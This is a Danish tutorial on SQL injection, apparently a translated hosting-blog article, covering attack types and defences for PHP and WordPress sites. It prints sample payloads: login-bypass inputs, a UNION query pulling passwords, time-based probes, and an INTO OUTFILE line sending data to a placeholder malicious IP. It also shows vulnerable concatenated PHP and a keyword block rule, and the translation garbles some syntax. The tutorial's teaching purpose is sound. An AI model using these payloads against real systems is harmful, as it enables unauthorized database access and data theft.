SQL (Structured Query Language) er et sprog, der giver os mulighed for at interagere med databaser. Moderne webapplikationer bruger databaser til at administrere data og vise dynamisk indhold til læsere.
SQL-injection eller SQLi er et angreb på en webapplikation der kan kompromittere dens database gennem ondsindede SQL-sætninger.
Da det er et almindeligt angreb, så lad os prøve at lære mere om, hvad det er, hvordan det sker og hvordan man kan forsvare sig mod det.
Parat? Lad os dykke ned!
Hvad er SQL-injection?
SQL-injection, eller SQLi, er en type angreb på en webapplikation, der gør det muligt for en angriber at indsætte ondsindede SQL-udsagn i webapplikationen, potentielt for at få adgang til følsomme data i databasen eller ødelægge disse data. SQL-injection blev først opdaget af Jeff Forristal i 1998.
I de to årtier siden dens opdagelse har SQL-injection konsekvent været højt prioriteret hos webudviklere, når de designer applikationer.
Barclaycard estimerede i 2012, at 97% af dataovertrædelser indleder med et SQL-injectionsangreb. En SQL-injection er udbredt selv i dag, og sværhedsgraden af injectionsangreb i en webapplikation anerkendes vidt. Det er en af de ti mest kritiske sikkerhedsrisici for webapplikationer af OWASP.
Hvordan Fungerer SQL-injection sårbarheden?
En SQL-injection sårbarhed giver en angriber fuld adgang til din applikations database ved hjælp af ondsindede SQL-sætninger.
I dette afsnit deler vi et eksempel på, hvordan en sårbar applikation ser ud.
Forestil dig arbejdsgangen til en typisk webapplikation, der involverer databaseanmodninger gennem brugerindgange. Du fører brugerinput gennem en formular, lad os sige en loginformular. Derefter forespørges din database med de felter, der er indsendt af brugeren for at godkende dem. Strukturen af forespørgslen til din database er sådan noget som dette:
select * from user_table
where username = 'sdaityari'
and password = 'mypassword';
Lad os antage, at du gemmer dine adgangskoder som klar tekst for at gøre det lettere. Det er dog en god praksis at salte dine passwords og derefter lave hashing på dem. Hvis du går videre, hvis du har modtaget brugernavn og adgangskode fra formularen, kan du definere forespørgslen i PHP som følger:
// Connect to SQL database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execute query
Hvis nogen indtaster værdien “admin”;-“i brugernavnfeltet, vil den resulterende SQL-forespørgsel, som variablen $db_query genererer, være som følger:
select * from user_table where
username = 'admin';--' and password = 'mypassword'
Hvad gør denne forespørgsel?
En kommentar i SQL starter med dobbelt streger (-). Den resulterende forespørgsel filtrerer kun efter brugernavnet uden at tage hensyn til adgangskoden. Hvis der ikke var nogen sikkerhed på plads for at undgå dette, ville du simpelthen få administrativ adgang til webapplikationen bare ved at bruge dette trick.
Alternativt kan et boolesk angreb også bruges i dette eksempel til at få adgang. Hvis en angriber angiver “adgangskode” eller 1=1; – “i adgangskodefeltet, vil den resulterende forespørgsel være som følger:
select * from user_table where
username = 'admin' and
password = 'password' or 1=1;--';
I dette tilfælde, selvom din adgangskode er forkert, vil du blive godkendt til applikationen. Hvis din webside viser resultaterne af databaseforespørgslen, kan en hacker bruge kommandoshowtabellerne, kommando til at vise tabellerne i databasen og derefter selektivt droppe tabeller, hvis de ønsker det.
Exploits of a Mom, en populær tegneserie af XKCD, viser samtalen med en mor med sin søns skole, hvor hun bliver spurgt, om hun virkelig kaldte sin søn “Robert’); DROP TABEL Students; -”.
Typer af SQL-injection
Nu hvor du kender det grundlæggende ved en SQL-injectionssårbarhed, lad os undersøge de forskellige typer SQL-injectionsangreb og årsagen bag hver af dem.
In-Band SQL-injection
In-Band SQL-injection er den enkleste form for SQL-injection. I denne proces er angriberen i stand til at bruge den samme kanal til at indsætte den ondsindede SQL-kode i applikationen samt indsamle resultaterne. Vi vil diskutere to former for in-band SQL-injectionsangreb:
Error Based Attack
En angriber bruger en error based SQL-injectionsteknik i de indledende faser af deres angreb. Ideen bag en error based SQL-injection er at få yderligere oplysninger om databasestrukturen og error based, som webapplikationen følger. For eksempel kan en fejlmeddelelse indeholde error based inkluderet i tabellens forespørgsel og kolonne. Disse data kan derefter bruges til at oprette nye angreb.
Union-based Angreb
I denne metode deltager en angriber, der bruger SQL union til at vise resultaterne fra en anden tabel. Hvis en angriber f.eks. er på en søgeside, kan de muligvis tilføje resultaterne fra en anden tabel.
select title, link from post_table
where id < 10
union
select username, password
from user_table; --;
Inferential SQL-injection (Blind SQL-injection)
Selv hvis en hacker genererer en fejl i SQL-forespørgslen, sendes svaret på forespørgslen muligvis ikke direkte til websiden. I et sådant tilfælde skal angriberen undersøge yderligere.
I denne form for SQL-injection sender angriberen forskellige forespørgsler til databasen for at vurdere, hvordan applikationen analyserer disse svar. En inferential SQL-injection er undertiden også kendt som blind SQL-injection. Vi vil se på to slags inferentielle SQL-injections nedenfor: boolsk SQL-injection og tidsbaseret SQL-injection.
Boolean Attack
Hvis en SQL-forespørgsel resulterer i en fejl, der ikke er blevet håndteret internt i applikationen, kan den resulterende webside muligvis kaste en fejl, indlæse en tom side eller indlæse delvist. I en boolean SQL-injection vurderer en angriber, hvilke dele af en brugers input er sårbare over for SQL-injectios ved at prøve to forskellige versioner af en boolean clause gennem input:
- “… and 1=1”
- “… and 1=2”
Hvis applikationen fungerer normalt i det første tilfælde, men viser en afvigelse i det andet tilfælde, indikerer det, at applikationen er sårbar over for et SQL-injection angreb.
Time-Based Attack
Et tidsbaseret SQL-injection angreb kan også hjælpe en angriber med at bestemme, om en sårbarhed er til stede i en webapplikation. En angriber bruger en foruddefineret tidsbaseret funktion af databasestyringssystemet, der bruges af applikationen. I MySQL instruerer function sleep() for eksempel databasen til at vente i et bestemt antal sekunder.
select * from comments
WHERE post_id=1-SLEEP(15);
Hvis en sådan forespørgsel resulterer i en forsinkelse, ville angriberen vide, at den er sårbar.
Out-of-band SQL-injection
Hvis en angriber ikke er i stand til at samle resultaterne af en SQL-injection gennem den samme kanal. SQL-injection teknikker uden for båndet kan anvendes som et alternativ til inferentielle SQL-injection teknikker.
Disse teknikker involverer typisk afsendelse af data fra databasen til en ondsindet placering efter hackerens valg. Denne proces er også meget afhængig af kapaciteten i databasestyringssystemet.
Et SQL-injection angreb uden for båndet bruger en ekstern filproceskapacitet på din DBMS. I MySQL kan funktionerne LOAD_FILE() og INTO OUTFILE bruges til at anmode MySQL om at overføre dataene til en ekstern kilde. Sådan kan en angriber bruge OUTFILE til at sende resultaterne af en forespørgsel til en ekstern kilde:
select * from post_table
into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'
Tilsvarende kan funktionen LOAD_FILE() bruges til at læse en fil fra serveren og vise dens indhold. En kombination af LOAD_FILE() og OUTFILE kan bruges til at læse indholdet af en fil på serveren og derefter overføre den til et andet sted.
Sådan Forhindres SQL-injections
Indtil videre har vi undersøgt sårbarhederne i en webapplikation, der kan føre til SQL-injection angreb. En SQL-injection sårbarhed kan bruges af en hacker til at læse, ændre eller endda fjerne indholdet i din database.
Derudover kan det også gøre det muligt for en at læse en fil på ethvert sted på serveren og overføre indholdet andetsteds. I dette afsnit udforsker vi forskellige teknikker til at beskytte din webapplikation og websted mod SQL-injection angreb.
Undslippe User Inputs
Generelt er det en vanskelig opgave at afgøre, om en brugerstreng er ondsindet eller ej. Derfor er den bedste måde at gøre det på, ved at undslippe specialtegn i brugerinput.
Denne proces sparer dig for et SQL-injection angreb. Du kan undslippe en streng, før du bygger forespørgslen i PHP ved hjælp af funktionen mysql_escape_string() function. Du kan også undslippe en streng i MySQL vha. Funktionen mysqli_real_escape_string().
Når du viser output som HTML, skal du også konvertere strengen for at sikre dig, at specialtegnene ikke forstyrrer HTML-markeringen. Du kan konvertere specialtegn i PHP vha. Funktionen htmlspecialchars().
Brug Forberedte Statements
Alternativt kan du bruge forberedte udsagn for at undgå SQL-injection En forberedt erklæring er en skabelon i en SQL-forespørgsel, hvor du specificerer parametre på et senere tidspunkt for at udføre det. Her er et eksempel på en forberedt erklæring i PHP og MySQLi.
$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));Andre Hygiejne Kontroller for at Forhindre SQL-angreb
Det næste trin i at afbøde denne sårbarhed er at begrænse adgangen til databasen til kun det, der er nødvendigt.
Forbind f.eks. din webapplikation til DBMS ved hjælp af en bestemt bruger, der kun har adgang til den relevante database.
Begræns databasebrugerens adgang til alle andre placeringer på serveren. Du ønsker muligvis også at blokere visse SQL-søgeord i din URL via din webserver. Hvis du bruger Apache som en webserver, kan du bruge følgende kodelinjer i din .htaccess-fil til at vise en 403 forbidden error til en potentiel hacker.
Du skal være forsigtig, før du bruger denne teknik, da Apache viser en fejl for en læser, hvis URL’en indeholder disse nøgleord.
RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]Som et ekstra tip til forebyggelse skal du altid bruge opdateret software. Når der frigives en ny version eller en patch, beskrives de fejl, der blev rettet i opdateringen, i frigørelsesnotaterne. Når detaljerne om en fejl er ude af offentligheden, kan det at risikere at køre en gammel version af enhver software være risikabelt.
SQL-injection i WordPress
Du er sikker mod enhver SQL-injection sårbarhed, hvis du bruger ajourførte WordPress-kernefiler. Når du bruger tredjeparts temaer og plugins, er hele din applikation imidlertid i fare.
Dit WordPress-websted er kun så stærkt som det svageste link. I dette afsnit udforsker vi de vigtigste overvejelser for at afbøde SQL-injection sårbarhed i WordPress og hvordan man udfører sårbarhedskontrol på dit eksisterende WordPress-sted.
SQL-injection Vulnerability Prevention for WordPress
For at afbøde sårbarheden ved SQL Injection i dit WordPress-tema- eller plugin er den eneste regel, du skal følge, altid at bruge eksisterende WordPress-funktioner, når du interagerer med databasen.
Disse funktioner testes grundigt for SQL-injection sårbarheder under WordPress-udviklingsprocessen. Hvis du f.eks. Vil tilføje en kommentar til et indlæg, skal du bruge funktionen wp_insert_comment() i stedet for at indsætte data direkte i wp_comments-tabellen.
Mens funktioner er udvides, kan du lejlighedsvis køre en kompleks forespørgsel. I et sådant tilfælde skal du sørge for at bruge $wp_db gruppen med funktioner. Du kan bruge $wpdb->forbered() til at undslippe brugerinput, før du opretter forespørgslen.
Derudover er her en liste over funktioner, der skal rense data i WordPress. Disse hjælper dig med at undslippe specifikke typer brugerindgange såsom e-mails og webadresser.
Sikre dit WordPress-site
Mens WordPress i sig selv er sikkert, kan problemer såsom forældet kernesoftware og nulled plugins føre til sårbarheder. Selvom der ikke er noget alternativ til dig at kontrollere dit WordPress-sted for SQL-injection sårbarhed grundigt, kan kompleksiteten af et websted gøre denne opgave udfordrende.
Du kan bruge et online scanningsværktøj som ThreatPass og WPScan Sikkerhedsdatabase. Du kan kontrollere dine plugins for at se, om deres udvikling er stoppet. Hvis de blev forladt for et stykke tid tilbage, er det måske ikke en god ide at bruge dem på dit websted.
Hvis du stadig har brug for absolut at bruge dem, skal du sørge for at teste deres kode og funktionalitet grundigt til sårbarheder. Ud over dette skal du sørge for at følge disse hygiejnekontroller:
- Opdater PHP, WordPress-kerne og MySQL
- Opdater tredjeparts plugins og temaer
- Undgå at bruge rodbrugeren til at forbinde SQL-databasen
- Begræns adgangen til SQL-brugeren til følsomme mapper
- Bloker SQL-keywords ved hjælp af din server
- Hold sikkerhedskopier af dit websted off-site i tilfælde af irreversibel skade
Her er et detaljeret indlæg om WordPress Security og en udtømmende liste over kontroller. Desuden kan du ønske at investere i disse top sikkerhedsplugins til WordPress. Her er hvad du skal gøre, hvis dit WordPress-websted er hacket på trods af din bedste indsats.
Er SQL-injection Ulovligt?
Helt klart, ja! Selvom der er en faktisk sårbarhed, forsøger en hacker stadig at få adgang til data, der ellers ikke ville være tilgængelige for dem.
Forestil dig et scenarie, hvor nogen efterlader deres nøgler i bilen. Vil en kørsel væk så resultere i en lovovertrædelse, bare fordi det blev efterladt åben og uden opsyn? Handlingen af SQLi falder ind under forskellige love i forskellige lande. Det falder ind under Computer Fraud and Abuse Act (1986) in the US i USA og Computer Misuse Act (1990) i UK.
Resumé
SQL-injection sårbarheder blev opdaget for længe siden. En rapport fra 2018 om hacket websteder antyder imidlertid, at SQLi er det mest almindelige webstedshack for WordPress efter XSS-angreb. For at forhindre dem i at ske, skal du:
- Forstå, hvordan SQL Injection sårbarheden fungerer
- Udforsk forskellige måder, hvorpå angribere kan bruge SQLi til at få uautoriseret adgang til din webapplikation
- Implementere metoder til at beskytte dit websted mod SQLi-angreb, såsom at undslippe brugerindgange og bruge forberedte udsagn
- Følg en sikkerhetskontrol-rutine
Som det gamle ordsprog lyder, “better safe than sorry”
Shaumik is a data analyst by day, and a comic book enthusiast by night (or maybe, he's Batman?) Shaumik has been writing tutorials and creating screencasts for over five years. When not working, he's busy automating mundane daily tasks through meticulously written scripts!
Skriv et svar